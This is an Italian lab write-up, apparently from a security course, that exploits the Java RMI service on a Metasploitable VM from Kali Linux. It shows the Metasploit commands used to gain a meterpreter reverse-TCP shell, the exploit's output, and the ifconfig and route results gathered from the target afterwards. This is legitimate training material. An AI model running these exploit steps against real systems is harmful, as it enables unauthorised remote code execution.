



Exploit Java-RMI code execution

Traccia:

L'esercizio di oggi prevede di effettuare fase di exploit, sfruttando la vulnerabilità “java_rmi” presente sulla porta 1099 della nostra macchina metasploitable.

Requisiti:

Configurare le macchine ai seguenti indirizzi IP:

- Kali Linux 192.168.11.111
- Metasploitable 192.168.11.112

Una volta effettuato l'attacco ed ottenuto la Shell di meterpreter, ottenere:
configurazione di rete e sessione di routine della macchina bersaglio.

Per prima cosa sono andato a configurare entrambe le macchine ai seguenti indirizzi IP:

-Metasploitable 192.168.11.112

-Kali Linux 192.168.11.111

Per poi assicurarmi che ci fosse comunicazione, in modo da poter effettuare tutti i passaggi successivi.

```
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet HWaddr ba:54:3f:c1:0c:08
          inet addr: 192.168.11.112  Bcast:192.168.11.255  Mask:255.255.255.0
          inet6 addr: fe80::ba54:3fff:fe08:64 Scope:Link
            UP BROADCAST RUNNING NOARP MTU:1500 Metric:1
            RX packets:7219 errors:0 dropped:0 overruns:0 frame:0
            TX packets:262 errors:0 dropped:0 overruns:0 carrier:0
            collisions:0 txqueuelen:1000
            RX bytes:4976008 (476.1 KB)  TX bytes:28528 (27.8 KB)
            Base address:0x0000 Memory:fcb00000-fcb00000
```

```
lo      Link encap:Local Loopback
          inet addr: 127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
            UP LOOPBACK RUNNING MTU:16436 Metric:1
            RX packets:661 errors:0 dropped:0 overruns:0 frame:0
            TX packets:661 errors:0 dropped:0 overruns:0 carrier:0
            collisions:0 txqueuelen:0
            RX bytes:299949 (292.9 KB)  TX bytes:299949 (292.9 KB)
```

```
msfadmin@metasploitable:~$ ping 192.168.11.111
PING 192.168.11.111 (192.168.11.111) 56(84) bytes of data
64 bytes from 192.168.11.111: icmp_seq=1 ttl=64 time=0.04 ms
64 bytes from 192.168.11.111: icmp_seq=2 ttl=64 time=1.84 ms
64 bytes from 192.168.11.111: icmp_seq=3 ttl=64 time=2.07 ms
64 bytes from 192.168.11.111: icmp_seq=4 ttl=64 time=1.92 ms
```

```
[kali㉿kali]:~$ ifconfig
eth0      flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
          inet 192.168.11.111  netmask 255.255.255.0  broadcast 192.168.11.255
            ether b8:27:eb:34:7b:47  txqueuelen 1000  (Ethernet)
            RX packets 75 bytes 9182 (8.9 KB)
            RX errors 0 dropped 0 overruns 0 frame 0
            TX packets 140 bytes 11076 (10.8 kB)
            TX errors 0 dropped 0 overruns 0 carrier 0  collisions 6
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 5536
          inet 127.0.0.1  netmask 255.0.0.0
            ether 00:0c:29:14:7d:47  txqueuelen 0  (Local Loopback)
            RX packets 56 bytes 5508 (5.3 KB)
            RX errors 0 dropped 0 overruns 0 frame 0
            TX packets 56 bytes 5508 (5.3 KB)
            TX errors 0 dropped 0 overruns 0 carrier 0  collisions 0
```

```
[kali㉿kali]:~$ ping 192.168.11.112
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data
64 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=6.15 ms
64 bytes from 192.168.11.112: icmp_seq=2 ttl=64 time=2.59 ms
64 bytes from 192.168.11.112: icmp_seq=3 ttl=64 time=2.31 ms
64 bytes from 192.168.11.112: icmp_seq=4 ttl=64 time=1.66 ms
^C
           192.168.11.112 ping statistics --
4 packets transmitted, 4 received, 0% packet loss, time 3009ms
rtt min/avg/max/mdev = 1.656/3.175/6.146/1.748 ms
```

Successivamente sono andato a fare un a scansione con nmap rilevando la porta 1099 aperta, la quale sfrutteremo per poter effettuare il nostro attacco.

Nel frattempo sono andato ad avviare metasploit frame work con comando “msfconsole”.

Una volta all'interno del programma sono andato a ricercare l'exploit per il servizio di java_rmi presente sulla porta 1099, ottenendo questi risultati.

In particolare a noi interessa l'exploit n°1, in quanto sarà quello che ci consentirà di effettuare l'attacco.

Il comando che utilizzeremo per selezionarlo sarà:
“use 1”

```
msf6 > search java_rmi
Matching Modules
-----

| Rank | Name                                           | Check | Description                                                        | Disclosure Date | R |
|------|------------------------------------------------|-------|--------------------------------------------------------------------|-----------------|---|
| 0    | auxiliary/gather/java_rmi_registry             | No    | Java RMI Registry Interfaces Enumeration                           | n               |   |
| 1    | exploit/multi/misc/java_rmi_server             | Yes   | Java RMI Server Insecure Default Configuration Java Code Execution | 2011-10-15      | e |
| 2    | auxiliary/scanner/misc/java_rmi_server         | No    | Java RMI Server Insecure Endpoint Code Execution Scanner           | 2011-10-15      | n |
| 3    | exploit/multi/browser/java_rmi_connection_impl | No    | Java RMICConnectionImpl Deserialization Privilege Escalation       | 2010-03-31      | e |


Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/browser/java_rmi_connection_impl

msf6 > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) >
```

Selezionato l'exploit, con comando “show options” possiamo controllare quali impostazioni siano configurate di default.

Nel nostro caso sarà necessario impostare l'indirizzo della macchina bersaglio, in quanto non compare a schermo.

Comando utilizzato per questa operazione:
“set rhosts”

Per quanto riguarda il payload non sarà necessario cambiarlo, poiché quello fornito dal sistema funziona.

The screenshot shows the Metasploit Framework interface on a Kali Linux terminal. The main window displays the configuration options for the selected exploit, which is `multi/misc/java_rmi_server`. The "Module options" section includes:

| Name | Current Setting | Required | Description |
|-----------|-----------------|----------|---|
| HTTPDELAY | 10 | yes | Time that the HTTP Server will wait for the payload request |
| RHOSTS | | yes | The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit |
| RPORT | 1099 | yes | The target port (TCP) |
| SRVHOST | 0.0.0.0 | yes | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. |
| SRVPORT | 8080 | yes | The local port to listen on. |
| SSL | false | no | Negotiate SSL for incoming connections |
| SSLCert | | no | Path to a custom SSL certificate (default is randomly generated) |
| URIPATH | | no | The URI to use for this exploit (default is random) |

The "Payload options" section shows:

| Name | Current Setting | Required | Description |
|-------|-----------------|----------|--|
| LHOST | 192.168.11.111 | yes | The listen address (an interface may be specified) |
| LPORT | 4444 | yes | The listen port |

The "Exploit target" section lists:

| Id | Name |
|----|------------------------|
| 0 | Generic (Java Payload) |

At the bottom of the interface, the command-line history shows:

```
msf6 exploit(multi/misc/java_rmi_server) > show options
msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.11.112
rhosts => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) >
```

A questo punto sarà possibile effettuare l'attacco, lanciando il comando:
“exploit”

Ottenendo come risultato,
l'acceso alla Shell di
meterpreter.

```
msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.11.112
rhosts => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > exploit
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/HOyZKD
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:45304) at 2022-12-09 00:47:49 +0100
meterpreter > |
```

All'interno della Shell è possibile lanciare diversi comandi, al fine di ottenere diverse informazioni riguardo la macchina bersaglio come ad esempio:

-ifconfig, ci restituisce in modo dettagliato le configurazioni di rete attuali della macchina.

-route, ci fa accedere alle impostazioni di routing della macchina.

```
meterpreter > ifconfig
Interface 1
=====
Name      : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name      : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::b854:3fff:fea1:e00
IPv6 Netmask : ::

meterpreter > 
```

```
meterpreter > route
IPv4 network routes
=====
Subnet      Netmask      Gateway   Metric  Interface
127.0.0.1  255.0.0.0    0.0.0.0
192.168.11.112 255.255.255.0 0.0.0.0

IPv6 network routes
=====
Subnet      Netmask      Gateway   Metric  Interface
::1        ::          ::        ::       ::
fe80::b854:3fff:fea1:e00 ::        ::       ::

meterpreter > 
```



GRAZIE

EPCODE

